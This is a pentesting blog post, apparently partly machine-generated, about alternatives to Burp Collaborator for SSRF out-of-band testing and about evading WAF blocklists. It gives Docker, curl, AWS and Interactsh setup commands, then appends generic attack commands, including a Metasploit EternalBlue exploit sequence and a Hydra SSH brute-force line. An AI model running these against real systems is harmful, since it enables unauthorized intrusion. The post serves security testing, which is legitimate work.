Time to Stop Using Burp Collaborator? Exploring Alternatives for SSRF Testing

By /

Listen to this Post

One of the best places to improve your evasion techniques is by studying detection rules. These are a set of signatures that detect and block attacks based on known patterns. While reviewing a WAF’s set of rules for SSRF protection, I noticed a familiar domain (i.e., burpcollaborator[.]net).

How many times have I (and maybe you as well) tested an application for SSRF using the Burp Collaborator? At least I’m sure I did it quite a few times. And all these just to find out the WAFs block this benign domain.

So here are 4 alternatives:

  1. Pipedream – A less-known domain that can act similarly to Collaborator.
  2. Cloud – Spin up a VM instance (with a new IP address).

3. Deploying a private Burp Collaborator server.

4. Interactsh.

Weekly Pentest Tips & Tricks Course:

https://www.sqrsec.com/tips-and-tricks

Private Burp Collaborator Server Documentation:

https://portswigger.net/burp/documentation/collaborator/server/private

Dockerized Burp Collaborator Server:

https://github.com/devoteam-cybertrust/burpcollaborator-docker

Practice Verified Codes and Commands:

  1. Deploying a Private Burp Collaborator Server using Docker: 
    </li>
</ol>

<h1>Clone the repository</h1>

git clone https://github.com/devoteam-cybertrust/burpcollaborator-docker.git

<h1>Navigate to the directory</h1>

cd burpcollaborator-docker

<h1>Build the Docker image</h1>

docker build -t burp-collaborator .

<h1>Run the Docker container</h1>

docker run -d -p 53:53/udp -p 80:80 -p 443:443 --name burp-collaborator burp-collaborator

    2. Using Pipedream for SSRF Testing:

    
<h1>Example curl command to test SSRF with Pipedream</h1>

curl -X POST https://your-pipedream-endpoint.m.pipedream.net -d "param=value"
    1. Spinning Up a Cloud VM for SSRF Testing: 
      </li>
</ol>

<h1>Example AWS CLI command to create a new EC2 instance</h1>

aws ec2 run-instances --image-id ami-0abcdef1234567890 --instance-type t2.micro --key-name MyKeyPair --security-group-ids sg-903004f8 --subnet-id subnet-6e7f829e

      4. Using Interactsh for SSRF Testing:

      
<h1>Install Interactsh client</h1>

go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

<h1>Run Interactsh client</h1>

interactsh-client -v

      What Undercode Say:

      In the realm of cybersecurity, particularly in penetration testing, the tools and techniques we use must evolve to stay ahead of detection mechanisms. The reliance on well-known tools like Burp Collaborator can sometimes be a double-edged sword, as WAFs and other security systems are quick to blacklist such domains. This article highlights the importance of exploring alternatives like Pipedream, cloud-based VMs, private Burp Collaborator servers, and Interactsh for SSRF testing.

      Deploying a private Burp Collaborator server using Docker is a practical approach that offers flexibility and control. The Dockerized version simplifies the setup process, making it accessible even for those who are not deeply familiar with server configurations. Similarly, using cloud services to spin up new VM instances ensures that each test is conducted from a unique IP address, reducing the risk of detection.

      Pipedream and Interactsh offer innovative solutions for out-of-band (OOB) testing, allowing testers to bypass traditional detection mechanisms. These tools are particularly useful in environments where traditional methods are easily flagged.

      In conclusion, the key to successful penetration testing lies in adaptability. By leveraging a combination of these tools and techniques, security professionals can enhance their evasion capabilities and uncover vulnerabilities that might otherwise remain hidden. Always remember to stay updated with the latest tools and practices, as the cybersecurity landscape is constantly evolving.

      Additional Commands for Cybersecurity Professionals:

      • Nmap Scan for Network Discovery: 
        nmap -sP 192.168.1.0/24

      • Metasploit Framework for Exploitation:

        msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.2
exploit

      • Wireshark for Packet Analysis:

        wireshark

      • Nikto for Web Server Scanning:

        nikto -h http://example.com

      • Hydra for Brute Force Attacks:

        hydra -l admin -P /path/to/passwords.txt ssh://192.168.1.1

      By integrating these commands and tools into your workflow, you can significantly enhance your penetration testing capabilities and stay ahead of potential threats.

      Further Reading:

      References:

      Hackers Feeds, Undercode AIFeatured Image

Related Posts: